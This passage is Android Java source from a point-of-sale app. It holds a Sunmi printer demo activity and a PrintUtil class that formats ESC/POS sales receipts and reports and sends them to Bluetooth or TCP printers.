        }

        String transactionsLabel = "Transaction";
        String turnoverLabel = "TurnOver";
        String netSaleLabel = "NetSale";
        String salesVatLabel = "Sales VAT";
        String returnsLabel = "Returns";
        String returnsVatLabel = "Returns VAT";

        String str_breakdown_by_payment_type = "Breakdown by payment type";
        String str_sales_totals_by_department = "Sales totals by department";
        String str_total_sales = "Total sales:";
        String str_net_sales = "Net sales:";
        String str_vat_ = "VAT:";
        String str_breakdown_by_vat_rate = "Breakdown by VAT Rate";
        String str_breakdown_by_invoice_type = "Break down by Invoice type";

        try {
            sunmiPrinter.printerInit(null);

            Toast.makeText(this, "TRY BLOCK REPORT!!!!", Toast.LENGTH_SHORT).show();

            // itemsString.append("[C]<font size='tall'>Report</font>").append("\n");
            // itemsString.append(getLineSeparator()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printTextWithFont("Report\n", null, 40, null);

            sunmiPrinter.setFontSize(30, null);
            sunmiPrinter.printText(getLineSeparator() + "\n", null);

            // itemsString.append("[L]Date From").append("[R]" + invoiceReport.getDateFrom()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("Date From", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText("Monday, August 8, 2022\n", null);


            // itemsString.append("[L]Date To").append("[R]" + invoiceReport.getDateTo()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("Date To", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText("Monday, August 8, 2022\n", null);

            // itemsString.append(getLineSeparator()).append("\n");
            // itemsString.append("\n");
            sunmiPrinter.printText(getLineSeparator() + "\n\n", null);

            // itemsString.append("[L]<b>" + "Total" + "</b>").append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOn(), null);
            sunmiPrinter.printText("Total", null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOff(), null);

            // itemsString.append("[L]" + transactionsLabel + "").append("[R]" + invoiceReport.getTransactions()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + transactionsLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + transactionsLabel + " \n", null);

            // itemsString.append("[L]" + turnoverLabel + "").append("[R]" + invoiceReport.getTurnOver()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + turnoverLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + turnoverLabel + " \n", null);

            // itemsString.append("[L]" + netSaleLabel + "").append("[R]" + invoiceReport.getNetSales()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + netSaleLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + netSaleLabel + " \n", null);


            String txts[] = new String[]{salesVatLabel, salesVatLabel + "\n"};
            int width[] = new int[]{1, 1};
            int align[] = new int[]{0, 2};
            sunmiPrinter.printColumnsString(txts, width, align, null);
            // itemsString.append("[L]" + salesVatLabel + "").append("[R]" + invoiceReport.getSalesVAT()).append("\n");


            // itemsString.append("[L]" + returnsLabel + "").append("[R]" + invoiceReport.getReturns()).append("\n");
            String txts2[] = new String[]{returnsLabel, returnsLabel + "\n"};
            sunmiPrinter.printColumnsString(txts2, width, align, null);

            // itemsString.append("[L]" + returnsVatLabel + "").append("[R]" + invoiceReport.getReturnVAT()).append("\n");
            // itemsString.append("\n");
            String txts3[] = new String[]{returnsVatLabel, returnsVatLabel + "\n"};
            sunmiPrinter.printColumnsString(txts3, width, align, null);

            // itemsString.append(getLineSeparator()).append("\n");
            // itemsString.append("[C]").append("End of Report").append("\n");
            // itemsString.append(getLineSeparator()).append("\n");

            sunmiPrinter.printText(getLineSeparator() + "\n", null);
            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printText("End of Report\n", null);

            SimpleDateFormat sdf = new SimpleDateFormat("dd.MM.yy HH:mm");
            String currentDateandTime = sdf.format(new Date());

            //itemsString.append("[L]" + "Printed on:" + "").append("[R]" + currentDateandTime).append("\n");
            String txts4[] = new String[]{"Printed on:", currentDateandTime + "\n"};
            sunmiPrinter.printColumnsString(txts4, width, align, null);


            // itemsString.append("\n");
            // itemsString.append("\n");
            // itemsString.append("\n");

            sunmiPrinter.lineWrap(3, null);

        } catch (RemoteException e) {
            Toast.makeText(this, "CATCH BLOCK REPORT!!!!", Toast.LENGTH_SHORT).show();
            e.printStackTrace();
        }

    }*/

    public static String getLineSeparator() {
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < 32; i++) {
            str.append("-");
        }
        return str.toString();
    }

    /*public void otherWayOfGettingSunmiPrinterService(){
        try {
            boolean result = InnerPrinterManager.getInstance().bindService(this, new InnerPrinterCallback() {
                @Override
                protected void onConnected(SunmiPrinterService service) {
                    Toast.makeText(SimpleActivity.this, "Printer Connected", Toast.LENGTH_SHORT).show();
                    sunmiPrinter = service;
                }

                @Override
                protected void onDisconnected() {

                }
            });
            Log.e("SUNMIDEMO", "Result" + result);
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }
    }*/

}

package com.sunmi.printerhelper.activity;

import android.content.ComponentName;
import android.os.Bundle;
import android.os.RemoteException;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.Toast;

import androidx.annotation.Nullable;

import com.sunmi.peripheral.printer.InnerPrinterCallback;
import com.sunmi.peripheral.printer.InnerPrinterException;
import com.sunmi.peripheral.printer.InnerPrinterManager;
import com.sunmi.peripheral.printer.SunmiPrinterService;
import com.sunmi.printerhelper.R;
import com.sunmi.printerhelper.utils.BluetoothUtil;
import com.sunmi.printerhelper.utils.ESCUtil;
import com.sunmi.printerhelper.utils.SunmiPrintHelper;

import java.security.cert.Certificate;
import java.text.SimpleDateFormat;
import java.util.Date;

import javax.security.auth.login.LoginException;

public class SimpleActivity extends BaseActivity implements View.OnClickListener {
    SunmiPrinterService sunmiPrinter;

    @Override
    protected void onCreate(@Nullable Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        try {
            boolean result = InnerPrinterManager.getInstance().bindService(this, new InnerPrinterCallback() {
                @Override
                protected void onConnected(SunmiPrinterService service) {
                    Toast.makeText(SimpleActivity.this, "Printer Connected", Toast.LENGTH_SHORT).show();
                    sunmiPrinter = service;
                }

                @Override
                protected void onDisconnected() {

                }
            });
            Log.e("SUNMIDEMO", "Result" + result);
        } catch (InnerPrinterException e) {
            e.printStackTrace();
        }

        setContentView(R.layout.activity_simple);
        setMyTitle("Simple Activity");

        Button simpleBut = findViewById(R.id.btn_simple);
        Button exampleBut = findViewById(R.id.btn_example);
        Button reportBut = findViewById(R.id.btn_report);

        simpleBut.setOnClickListener(this);
        exampleBut.setOnClickListener(this);
        reportBut.setOnClickListener(this);


    }

    @Override
    public void onClick(View view) {
        switch (view.getId()) {
            case R.id.btn_simple:
                Toast.makeText(this, "Print Simple Example Clicked ", Toast.LENGTH_SHORT).show();
                onSimpleButtonClicked();
                break;
            case R.id.btn_example:
                Toast.makeText(this, "Print Complex Example Clicked", Toast.LENGTH_LONG).show();
                onComplexButtonClicked();
                break;
            case R.id.btn_report:
                Toast.makeText(this, "Print Simply Report Clicked ", Toast.LENGTH_SHORT).show();
                onSimplyReportButtonClicked();
                break;
        }

    }


    int ALIGN_LEFT = 0;
    int ALIGN_CENTER = 1;
    int ALIGN_RIGHT = 2;

    public void onSimpleButtonClicked() {
        Toast.makeText(this, "INSIDE SIMPLE BUTTON!!!!", Toast.LENGTH_SHORT).show();
        if (sunmiPrinter == null) {
            Toast.makeText(this, "SunmiPrinter is Null SIMPLE BUTTON!!!!", Toast.LENGTH_SHORT).show();
            return;
        }

        try {
            sunmiPrinter.printerInit(null);
            Toast.makeText(this, "TRY BLOCK SIMPLE BUTTON!!!!", Toast.LENGTH_SHORT).show();

            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("LEFT_ALIGNMENT\n", null);

            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText("RIGHT_ALIGNMENT\n", null);

            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printText("CENTER_ALIGNMENT\n", null);
            sunmiPrinter.printText("ALIGNMENT is not Changed\n", null);

            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("NOTICE: ALIGNMENT is Changed\n", null);


            sunmiPrinter.sendRAWData(ESCUtil.boldOn(), null);
            sunmiPrinter.printText("Bold Feature is ON\n", null);

            sunmiPrinter.sendRAWData(ESCUtil.boldOff(), null);
            sunmiPrinter.printText("Bold Feature is OFF\n", null);

            sunmiPrinter.printText("FONT size is increased to 40\n", null);
            sunmiPrinter.printTextWithFont("ITEM:           MEET", null, 40, null);
            sunmiPrinter.printTextWithFont("PRICE:          $59\b", null, 40, null);
            sunmiPrinter.setFontSize(36, null);

            sunmiPrinter.printText("--------------------------------\n", null);
            String[] txts = new String[]{"LEFT", "RIGHT"};
            int[] width = new int[]{1, 1};
            int[] align = new int[]{0, 2};
            sunmiPrinter.printColumnsString(txts, width, align, null);
            sunmiPrinter.printText("--------------------------------\n", null);

            sunmiPrinter.printText("--------------------------------\n", null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOn(), null);
            String txts2[] = new String[]{"LEFT", "CENTER", "RIGHT"};
            int width2[] = new int[]{1, 1, 1};
            int align2[] = new int[]{0, 1, 2};
            sunmiPrinter.printColumnsString(txts2, width2, align2, null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOff(), null);
            sunmiPrinter.printText("--------------------------------\n", null);

            sunmiPrinter.printText("Slash N VS LineWrap()\n", null);
            sunmiPrinter.printText("Slash N VS LineWrap()", null);
            sunmiPrinter.lineWrap(1, null);

            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printText("END OF PRINT", null);

            sunmiPrinter.autoOutPaper(null);
        } catch (RemoteException e) {
            Toast.makeText(this, "CATCH BLOCK SIMPLE BUTTON!!!!", Toast.LENGTH_SHORT).show();
            e.printStackTrace();
        }
    }

    private void onComplexButtonClicked() {
        if (!BluetoothUtil.isBlueToothPrinter) {
            SunmiPrintHelper.getInstance().printExample(this);
        } else {
            Toast.makeText(this, "Is Bluetooth is on ???", Toast.LENGTH_SHORT).show();
        }
    }

    private void onSimplyReportButtonClicked() {
        if (sunmiPrinter == null) {
            Toast.makeText(this, "SunmiPrinter is Null REPORT!!!!", Toast.LENGTH_SHORT).show();
            return;
        }

        String transactionsLabel = "Transaction";
        String turnoverLabel = "TurnOver";
        String netSaleLabel = "NetSale";
        String salesVatLabel = "Sales VAT";
        String returnsLabel = "Returns";
        String returnsVatLabel = "Returns VAT";

        String str_breakdown_by_payment_type = "Breakdown by payment type";
        String str_sales_totals_by_department = "Sales totals by department";
        String str_total_sales = "Total sales:";
        String str_net_sales = "Net sales:";
        String str_vat_ = "VAT:";
        String str_breakdown_by_vat_rate = "Breakdown by VAT Rate";
        String str_breakdown_by_invoice_type = "Break down by Invoice type";

        try {
            sunmiPrinter.printerInit(null);

            Toast.makeText(this, "TRY BLOCK REPORT!!!!", Toast.LENGTH_SHORT).show();

            // itemsString.append("[C]<font size='tall'>Report</font>").append("\n");
            // itemsString.append(getLineSeparator()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printTextWithFont("Report\n", null, 40, null);

            sunmiPrinter.setFontSize(30, null);
            sunmiPrinter.printText(getLineSeparator() + "\n", null);

            // itemsString.append("[L]Date From").append("[R]" + invoiceReport.getDateFrom()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("Date From", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText("Monday, August 8, 2022\n", null);


            // itemsString.append("[L]Date To").append("[R]" + invoiceReport.getDateTo()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText("Date To", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText("Monday, August 8, 2022\n", null);

            // itemsString.append(getLineSeparator()).append("\n");
            // itemsString.append("\n");
            sunmiPrinter.printText(getLineSeparator() + "\n\n", null);

            // itemsString.append("[L]<b>" + "Total" + "</b>").append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOn(), null);
            sunmiPrinter.printText("Total", null);
            sunmiPrinter.sendRAWData(ESCUtil.boldOff(), null);

            // itemsString.append("[L]" + transactionsLabel + "").append("[R]" + invoiceReport.getTransactions()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + transactionsLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + transactionsLabel + " \n", null);

            // itemsString.append("[L]" + turnoverLabel + "").append("[R]" + invoiceReport.getTurnOver()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + turnoverLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + turnoverLabel + " \n", null);

            // itemsString.append("[L]" + netSaleLabel + "").append("[R]" + invoiceReport.getNetSales()).append("\n");
            sunmiPrinter.setAlignment(ALIGN_LEFT, null);
            sunmiPrinter.printText(" " + netSaleLabel + " ", null);
            sunmiPrinter.setAlignment(ALIGN_RIGHT, null);
            sunmiPrinter.printText(" " + netSaleLabel + " \n", null);


            String txts[] = new String[]{salesVatLabel, salesVatLabel + "\n"};
            int width[] = new int[]{1, 1};
            int align[] = new int[]{0, 2};
            sunmiPrinter.printColumnsString(txts, width, align, null);
            // itemsString.append("[L]" + salesVatLabel + "").append("[R]" + invoiceReport.getSalesVAT()).append("\n");


            // itemsString.append("[L]" + returnsLabel + "").append("[R]" + invoiceReport.getReturns()).append("\n");
            String txts2[] = new String[]{returnsLabel, returnsLabel + "\n"};
            sunmiPrinter.printColumnsString(txts2, width, align, null);

            // itemsString.append("[L]" + returnsVatLabel + "").append("[R]" + invoiceReport.getReturnVAT()).append("\n");
            // itemsString.append("\n");
            String txts3[] = new String[]{returnsVatLabel, returnsVatLabel + "\n"};
            sunmiPrinter.printColumnsString(txts3, width, align, null);

            // itemsString.append(getLineSeparator()).append("\n");
            // itemsString.append("[C]").append("End of Report").append("\n");
            // itemsString.append(getLineSeparator()).append("\n");

            sunmiPrinter.printText(getLineSeparator() + "\n", null);
            sunmiPrinter.setAlignment(ALIGN_CENTER, null);
            sunmiPrinter.printText("End of Report\n", null);

            SimpleDateFormat sdf = new SimpleDateFormat("dd.MM.yy HH:mm");
            String currentDateandTime = sdf.format(new Date());

            //itemsString.append("[L]" + "Printed on:" + "").append("[R]" + currentDateandTime).append("\n");
            String txts4[] = new String[]{"Printed on:", currentDateandTime + "\n"};
            sunmiPrinter.printColumnsString(txts4, width, align, null);


            // itemsString.append("\n");
            // itemsString.append("\n");
            // itemsString.append("\n");

            sunmiPrinter.lineWrap(3, null);

        } catch (RemoteException e) {
            Toast.makeText(this, "CATCH BLOCK REPORT!!!!", Toast.LENGTH_SHORT).show();
            e.printStackTrace();
        }

    }
    public static String getLineSeparator() {
        StringBuilder str = new StringBuilder();
        for (int i = 0; i < 32; i++) {
            str.append("-");
        }
        return str.toString();
    }

}
package com.simplypos.simply.util.printUtil;

import static com.simplypos.simply.constant.AppConstants.SP_ESC_POS_PRINTER;

import android.annotation.SuppressLint;
import android.app.AlertDialog;
import android.content.Context;
import android.text.TextUtils;
import android.util.Log;

import com.dantsu.escposprinter.connection.DeviceConnection;
import com.dantsu.escposprinter.connection.bluetooth.BluetoothConnection;
import com.dantsu.escposprinter.connection.bluetooth.BluetoothPrintersConnections;
import com.dantsu.escposprinter.connection.tcp.TcpConnection;
import com.simplypos.simply.R;
import com.simplypos.simply.dao.model.printer.EscPosPrinter;
import com.simplypos.simply.dao.storage.SharedPreference;
import com.simplypos.simply.pojo.data.DepartmentReport;
import com.simplypos.simply.pojo.data.InvoiceAddResponse;
import com.simplypos.simply.pojo.data.InvoiceReport;
import com.simplypos.simply.pojo.data.InvoiceTypesReport;
import com.simplypos.simply.pojo.data.Payment;
import com.simplypos.simply.pojo.data.PrintCompanyDetail;
import com.simplypos.simply.pojo.data.PrintDetails;
import com.simplypos.simply.pojo.data.PrintDetailsLineItem;
import com.simplypos.simply.pojo.data.PrintDetailsTax;
import com.simplypos.simply.pojo.data.VatRateInvoiceTypeReport;
import com.simplypos.simply.pojo.data.VatRateReport;
import com.simplypos.simply.util.NumberUtil;

import java.text.SimpleDateFormat;
import java.util.Arrays;
import java.util.Date;
import java.util.List;

public class PrintUtil {
    private static final String TAG = PrintUtil.class.getSimpleName();

    public static int charactersInLine = 32;
    public static Context mContext = null;

    public static void printData(Context context, InvoiceAddResponse invoiceAddResponse) {
        printData(context, invoiceAddResponse.getPrintDetails());
    }

    public static void printData(Context context, PrintDetails printDetailObj) {
        mContext = context;
        EscPosPrinter printerSettingsObject = getPrinterSettings();
        if (printerSettingsObject != null && printDetailObj != null) {
            DeviceConnection deviceConnection = getDeviceConnection(context, printerSettingsObject);
            if (deviceConnection != null) {
                AsyncEscPosPrinter data = getAsyncEscPosPrinter(deviceConnection, printDetailObj, printerSettingsObject.getSelectedPageSize());
                if (printerSettingsObject.getSelectedInterfaceType().equals(context.getString(R.string.bluetooth))) {
                    new AsyncBluetoothEscPosPrint(
                            context,
                            new AsyncEscPosPrint.OnPrintFinished() {
                                @Override
                                public void onError(AsyncEscPosPrinter asyncEscPosPrinter, int codeException) {
                                    Log.e("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : An error occurred !");
                                }

                                @Override
                                public void onSuccess(AsyncEscPosPrinter asyncEscPosPrinter) {
                                    Log.i("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : Print is finished !");
                                }
                            }
                    ).execute(data);
                } else {
                    try {
                        new AsyncTcpEscPosPrint(
                                context,
                                new AsyncEscPosPrint.OnPrintFinished() {
                                    @Override
                                    public void onError(AsyncEscPosPrinter asyncEscPosPrinter, int codeException) {
                                        Log.e("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : An error occurred !");
                                        if (deviceConnection != null && deviceConnection.isConnected())
                                            deviceConnection.disconnect();
                                    }

                                    @Override
                                    public void onSuccess(AsyncEscPosPrinter asyncEscPosPrinter) {
                                        Log.i("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : Print is finished !");
                                        if (deviceConnection != null && deviceConnection.isConnected())
                                            deviceConnection.disconnect();
                                    }
                                }
                        ).execute(data);
                    } catch (Exception e) {
                        new AlertDialog.Builder(context)
                                .setTitle("Invalid TCP port address")
                                .setMessage("Port field must be an integer.")
                                .show();
                        e.printStackTrace();
                    }
                }
            } else {
                Log.w(TAG, "deviceConnection is null");
            }
        } else {
            new AlertDialog.Builder(context)
                    .setTitle("Printer")
                    .setMessage("Printer Settings are not configured")
                    .show();
        }
    }

    public static EscPosPrinter getPrinterSettings() {
        return (EscPosPrinter) SharedPreference.getObjectPreferences(SP_ESC_POS_PRINTER, EscPosPrinter.class);
    }


    private static String getReportString(InvoiceReport invoiceReport) {

        String transactionsLabel = mContext.getString(R.string.str_transactions);
        String turnoverLabel = mContext.getString(R.string.str_turnover);
        String netSaleLabel = mContext.getString(R.string.str_net_sale);
        String salesVatLabel = mContext.getString(R.string.sales_vat);
        String returnsLabel = mContext.getString(R.string.str_returns);
        String returnsVatLabel = mContext.getString(R.string.str_returns_vat);
        String str_breakdown_by_payment_type = mContext.getString(R.string.str_breakdown_by_payment_type);
        String str_sales_totals_by_department = mContext.getString(R.string.str_sales_totals_by_department);
        String str_total_sales = mContext.getString(R.string.str_total_sales);
        String str_net_sales = mContext.getString(R.string.str_net_sales);
        String str_vat_ = mContext.getString(R.string.str_vat_);
        String str_breakdown_by_vat_rate = mContext.getString(R.string.str_breakdown_by_vat_rate);
        String str_breakdown_by_invoice_type = mContext.getString(R.string.str_breakdown_by_invoice_type);


        StringBuilder itemsString = new StringBuilder();
        itemsString.append("[C]<font size='tall'>Report</font>").append("\n");
        itemsString.append(getLineSeparator()).append("\n");
        itemsString.append("[L]Date From").append("[R]" + invoiceReport.getDateFrom()).append("\n");
        itemsString.append("[L]Date To").append("[R]" + invoiceReport.getDateTo()).append("\n");
        itemsString.append(getLineSeparator()).append("\n");
        itemsString.append("\n");
        itemsString.append("[L]<b>" + "Total" + "</b>").append("\n");
        itemsString.append("[L]" + transactionsLabel + "").append("[R]" + invoiceReport.getTransactions()).append("\n");
        itemsString.append("[L]" + turnoverLabel + "").append("[R]" + invoiceReport.getTurnOver()).append("\n");
        itemsString.append("[L]" + netSaleLabel + "").append("[R]" + invoiceReport.getNetSales()).append("\n");
        itemsString.append("[L]" + salesVatLabel + "").append("[R]" + invoiceReport.getSalesVAT()).append("\n");
        itemsString.append("[L]" + returnsLabel + "").append("[R]" + invoiceReport.getReturns()).append("\n");
        itemsString.append("[L]" + returnsVatLabel + "").append("[R]" + invoiceReport.getReturnVAT()).append("\n");
        itemsString.append("\n");
        if (invoiceReport.getPayments() != null) {
            itemsString.append(getLineSeparator()).append("\n");
            itemsString.append("\n");
            itemsString.append("[L]<b>" + str_breakdown_by_payment_type + "</b>").append("\n");
            for (Payment lineItem : invoiceReport.getPayments()) {
                itemsString.append("[L]" + lineItem.getName() + "").append("[R]" + lineItem.getValue()).append("\n");
            }
            itemsString.append("\n");
        }
        if (invoiceReport.getDepartmentsReport() != null) {
            itemsString.append(getLineSeparator()).append("\n");
            itemsString.append("\n");
            itemsString.append("[L]<b>" + str_sales_totals_by_department + "</b>").append("\n");
            for (DepartmentReport lineItem : invoiceReport.getDepartmentsReport()) {
                itemsString.append("[L]<b>" + lineItem.getName() + "</b>").append("\n");
                itemsString.append("[L]" + lineItem.getVatRate()).append("\n");
                itemsString.append("[L]" + str_total_sales + "").append("[R]" + lineItem.getTotalSales()).append("\n");
                itemsString.append("[L]" + str_net_sales + "").append("[R]" + lineItem.getNetSales()).append("\n");
                itemsString.append("[L]" + str_vat_ + "").append("[R]" + lineItem.getVatAmount()).append("\n");
                itemsString.append("\n");
            }
        }

        if (invoiceReport.getVatRates() != null) {
            itemsString.append(getLineSeparator()).append("\n");
            itemsString.append("\n");
            itemsString.append("[L]<b>" + str_breakdown_by_vat_rate + "</b>").append("\n");
            for (VatRateReport lineItem : invoiceReport.getVatRates()) {
                itemsString.append("[L]<b>" + lineItem.getName() + "</b>").append("\n");
                itemsString.append("[L]" + "Total gross:" + "").append("[R]" + lineItem.getTotalSales()).append("\n");
                itemsString.append("[L]" + "Net amount:" + "").append("[R]" + lineItem.getNetSales()).append("\n");
                itemsString.append("[L]" + "VAT amount:" + "").append("[R]" + lineItem.getVatAmount()).append("\n");
                itemsString.append("\n");
            }
        }

        if (invoiceReport.getInvoiceTypes() != null) {
            itemsString.append(getLineSeparator()).append("\n");
            itemsString.append("\n");
            itemsString.append("[L]<b>" + str_breakdown_by_invoice_type + "</b>").append("\n");
            for (InvoiceTypesReport lineItem : invoiceReport.getInvoiceTypes()) {
                itemsString.append("[L]<b>" + lineItem.getName() + "</b>").append("\n");
                itemsString.append("[L]" + "Total gross sales:" + "").append("[R]" + lineItem.getTotalSales()).append("\n");
                itemsString.append("[L]" + "Net sales:" + "").append("[R]" + lineItem.getNetSales()).append("\n");
                if(lineItem.getVatRates() !=null)
                {
                    for (VatRateInvoiceTypeReport lineItemVAT : lineItem.getVatRates()) {
                        itemsString.append("[L]" +lineItemVAT.getName())
                                .append("[R]" + lineItemVAT.getValue()).append("\n");
                    }
                }
                itemsString.append("\n");
            }
        }

        itemsString.append(getLineSeparator()).append("\n");
        itemsString.append("[C]").append("End of Report").append("\n");
        itemsString.append(getLineSeparator()).append("\n");

        SimpleDateFormat sdf = new SimpleDateFormat("dd.MM.yy HH:mm");
        String currentDateandTime = sdf.format(new Date());
        itemsString.append("[L]" + "Printed on:" + "").append("[R]" + currentDateandTime).append("\n");


        itemsString.append("\n");
        itemsString.append("\n");
        itemsString.append("\n");
        return itemsString.toString();
    }

    public static void printReport(Context context, InvoiceReport invoiceReport) {
        mContext = context;
        EscPosPrinter printerSettingsObject = getPrinterSettings();
        if (printerSettingsObject != null && invoiceReport != null) {
            DeviceConnection deviceConnection = getDeviceConnection(context, printerSettingsObject);
            if (deviceConnection != null) {
                AsyncEscPosPrinter data = getReport_AsyncEscPosPrinter(deviceConnection, invoiceReport, printerSettingsObject.getSelectedPageSize());

                if (printerSettingsObject.getSelectedInterfaceType().equals(context.getString(R.string.bluetooth))) {
                    new AsyncBluetoothEscPosPrint(
                            context,
                            new AsyncEscPosPrint.OnPrintFinished() {
                                @Override
                                public void onError(AsyncEscPosPrinter asyncEscPosPrinter, int codeException) {
                                    Log.e("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : An error occurred !");
                                }

                                @Override
                                public void onSuccess(AsyncEscPosPrinter asyncEscPosPrinter) {
                                    Log.i("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : Print is finished !");
                                }
                            }
                    ).execute(data);
                } else {
                    try {
                        new AsyncTcpEscPosPrint(
                                context,
                                new AsyncEscPosPrint.OnPrintFinished() {
                                    @Override
                                    public void onError(AsyncEscPosPrinter asyncEscPosPrinter, int codeException) {
                                        Log.e("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : An error occurred !");
                                        if (deviceConnection != null && deviceConnection.isConnected())
                                            deviceConnection.disconnect();
                                    }

                                    @Override
                                    public void onSuccess(AsyncEscPosPrinter asyncEscPosPrinter) {
                                        Log.i("Async.OnPrintFinished", "AsyncEscPosPrint.OnPrintFinished : Print is finished !");
                                        if (deviceConnection != null && deviceConnection.isConnected())
                                            deviceConnection.disconnect();
                                    }
                                }
                        ).execute(data);
                    } catch (Exception e) {
                        new AlertDialog.Builder(context)
                                .setTitle("Invalid TCP port address")
                                .setMessage("Port field must be an integer.")
                                .show();
                        e.printStackTrace();
                    }
                }
            } else {
                Log.w(TAG, "deviceConnection is null");
            }
        } else {
            new AlertDialog.Builder(context)
                    .setTitle("Printer")
                    .setMessage("Printer Settings are not configured")
                    .show();
        }
    }

    @SuppressLint("MissingPermission")
    private static DeviceConnection getDeviceConnection(Context context, EscPosPrinter printer) {
        DeviceConnection connection = null;
        if (printer.getSelectedInterfaceType() != null) {
            if (printer.getSelectedInterfaceType().equals(context.getString(R.string.bluetooth))) {
                final BluetoothConnection[] bluetoothDevicesList = (new BluetoothPrintersConnections()).getList();
                if (bluetoothDevicesList != null) {
                    List<BluetoothConnection> printerList = Arrays.asList(bluetoothDevicesList);
                    if (!printerList.isEmpty()) {
                        for (BluetoothConnection btConnection : printerList) {
                            if (btConnection.getDevice().getName().equals(printer.getName())) {
                                connection = btConnection;
                            }
                        }
                        if (connection == null) {
                            connection = bluetoothDevicesList[0];
                        }
                    }
                }
            } else {
                String I = printer.getAddress();
                String I2 = printer.getPort();
                connection = new TcpConnection(printer.getAddress(), Integer.parseInt(printer.getPort()));
            }
        } else {
            Log.w(TAG, "InterfaceType is null");
        }
        return connection;
    }

    private static AsyncEscPosPrinter getReport_AsyncEscPosPrinter(DeviceConnection printerConnection, InvoiceReport printDetailObj, Float pageSize) {


        if (pageSize == 110) {
            charactersInLine = 68;
        } else if (pageSize == 80 || pageSize == 76) {
            pageSize = 76f;
            charactersInLine = 48;
        } else {
            charactersInLine = 32;
        }

        AsyncEscPosPrinter escPosPrinter = new AsyncEscPosPrinter(printerConnection, 203, pageSize, charactersInLine);
        return escPosPrinter.addTextToPrint(
                getHeaderDataStringReport(printDetailObj.getCompanyDetail(), pageSize) +
                getReportString(printDetailObj)
        );

    }

    private static AsyncEscPosPrinter getAsyncEscPosPrinter(DeviceConnection printerConnection, PrintDetails printDetailObj, Float pageSize) {


        if (pageSize == 110) {
            charactersInLine = 68;
        } else if (pageSize == 80 || pageSize == 76) {
            pageSize = 76f;
            charactersInLine = 48;
        } else {
            charactersInLine = 32;
        }
        AsyncEscPosPrinter escPosPrinter = new AsyncEscPosPrinter(printerConnection, 203, pageSize, charactersInLine);
        return escPosPrinter.addTextToPrint(
                getHeaderDataString(printDetailObj, pageSize) +
                        getItemsString(printDetailObj) +
                        getPaymentDetails(printDetailObj) +
                        getReceiptNotes(printDetailObj) +
                        getBottomNotes(printDetailObj));

    }


    private static String getHeaderDataString(PrintDetails printDetailObj, Float pageSize) {
        StringBuilder builder = new StringBuilder();
        //builder.append("[C]DBA Name" + "\n");
        builder.append("[C]<b>").append(printDetailObj.getCompanyName()).append("</b>\n");
        builder.append("[C]").append(printDetailObj.getCompanyLegalName()).append("\n");
        builder.append("[C]").append(printDetailObj.getCompanyActivity()).append("\n");

        String branchAddressLabel = mContext.getString(R.string.str_branch_address);
        String mainAddressLabel = mContext.getString(R.string.str_main_address);
        String vatNrLabel = mContext.getString(R.string.str_vat_nr);
        String taxAuthLabel = mContext.getString(R.string.str_tax_auth);

        if (!TextUtils.isEmpty(printDetailObj.getBranchAddress())) {
            builder.append("[C]").append(branchAddressLabel).append("\n");
            builder.append("[C]").append(printDetailObj.getBranchAddress()).append("\n");
        }

        builder.append("[C]").append(mainAddressLabel).append("\n");
        if (!TextUtils.isEmpty(printDetailObj.getCompanyAddress())) {
